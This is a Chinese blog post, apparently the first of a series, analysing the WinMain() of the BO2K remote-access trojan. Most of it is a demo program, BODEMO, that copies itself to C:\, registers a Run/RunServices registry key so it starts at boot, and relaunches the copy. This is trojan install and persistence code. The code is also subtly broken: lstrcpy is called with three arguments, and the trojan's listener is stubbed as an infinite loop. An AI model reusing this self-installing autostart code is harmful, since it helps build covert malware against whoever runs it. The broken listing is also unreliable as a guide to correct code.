BO2k源代码分析(一)----WinMain()函数

 

 

花了些时间分析BO2K,现将结果依次发表出来.接着还将发表BO消息循环机制,网络原理,自编LoadLibrary()的实现,Plug In原理,关键命令的实现原理等. 愿对诸君C++编程和Windows编程有所益.

 一 BO2K服务器原理概述
     BO2K服务器程序首先判断是否已经安装了BO2K，如果已经安装，则简单的启动服务器，侦听端口。如果没有安装则拷贝自身到系统目录下，并且注册BO2K为每当系统启动时启动BO2K。而后以自身的全路径名为参数启动拷贝版的BO2K，自身结束。这里,我们看到了应用程序删除自身之一法. 这是服务器的WinMain()函数的主要工作，详见BODEMO。当然，由于考虑到出错处理，以及允许用户配置，其源代码比BODEMO要复杂，且有所出入。但大体原理如此
  上述过程之后，接着初始化命令数组，建立侦听端口，进入命令循环。（这些都是Entrypoint()函数的工作）。

  下期我将再来分析这个函数。
 
附BODEMO：
 
#include "stdafx.h"
BOOL g_bIsWinNT;
/* Determine Operating System Version*/
void GetOSVersion(void)
{
     OSVERSIONINFO osvi;
     osvi.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
     if(GetVersionEx(&osvi)==FALSE)

     {
            MessageBox( HWND_DESKTOP, "Unable to get version     info", "GetOSVersion()", MB_OK );
     }
    if(osvi.dwPlatformId==VER_PLATFORM_WIN32s)

    {
            MessageBox( HWND_DESKTOP, "This application does  not run under WIN32s!", "Error", MB_OK );
    }
     if (osvi.dwPlatformId == VER_PLATFORM_WIN32_NT)
             g_bIsWinNT = 1;
    else
             g_bIsWinNT = 0;
}
DWORD WINAPI EntryPoint(LPVOID lpParameter)
{

/*这 个函数中初始化命令数组，建立侦听端口，进入命令循环。
这里先简单模拟一下，下期再详细分析。*/

      while(1);             
       return 0;
}
int APIENTRY WinMain(HINSTANCE hInstance,
                     HINSTANCE hPrevInstance,
                     LPSTR     lpCmdLine,
                     int       nCmdShow )
{
       GetOSVersion(); 
       int nInstall=0;
       char *svRunRegKey;
      if(g_bIsWinNT)     svRunRegKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run";
      else
  svRunRegKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunServices";
  

   /*如果带参数则删除参数指定的文件,这一段代码从略*/

   // Get current module location
    char svFileName[512];
    char svTargetName[MAX_PATH];
    GetModuleFileName(GetModuleHandle(NULL),svFileName,512); 
 lstrcpy(svTargetName,"C:\\Bodemo.exe");

 /*  简单的将自身拷贝到C:\下
     BO2K中，被拷贝到系统目录中，
    且名字是可配置的。

*/
 // ----- 1: Check for installation ----- 
    if(GetFileAttributes(svTargetName) != 0xFFFFFFFF)  

/*是否已安装BO2K*/
        nInstall=1;
 if(nInstall == 0)                   /*没安装则…*/ 
 {
  // Make copy of file
  while(CopyFile(svFileName,svTargetName,FALSE)==0) Sleep (1000);
     

 HKEY key;
  if(RegOpenKey(HKEY_CURRENT_USER,svRunRegKey,&key)==ERROR_SUCCESS)
  {
   RegSetValueEx(key,"Bodemo",0,REG_SZ,(BYTE *)svTargetName,lstrlen(svTargetName));
   RegCloseKey(key);  
  }
  // And now run the copy,
  STARTUPINFO si;
  PROCESS_INFORMATION pi;
  char svComLine[2048];
  lstrcpy(svComLine,svTargetName,2048);

  lstrcpyn(svComLine+lstrlen(svComLine)," ",

 2048-lstrlen  (svComLine));

  lstrcpyn(svComLine+lstrlen(svComLine),svFileName,

    2048-lstrlen(svComLine));

  memset(&si,0,sizeof(STARTUPINFO));
  si.cb=sizeof(STARTUPINFO);
  si.dwFlags=STARTF_FORCEOFFFEEDBACK;
  CreateProcess(NULL,svComLine,NULL,NULL,0,0,NULL,NULL,&si,&pi);
 }
 else     /*Bo has installed...*/
 {

        EntryPoint(GetModuleHandle(NULL));
 }
 return 0;
}

本文地址：http://com.8s8s.com/it/it3719.htm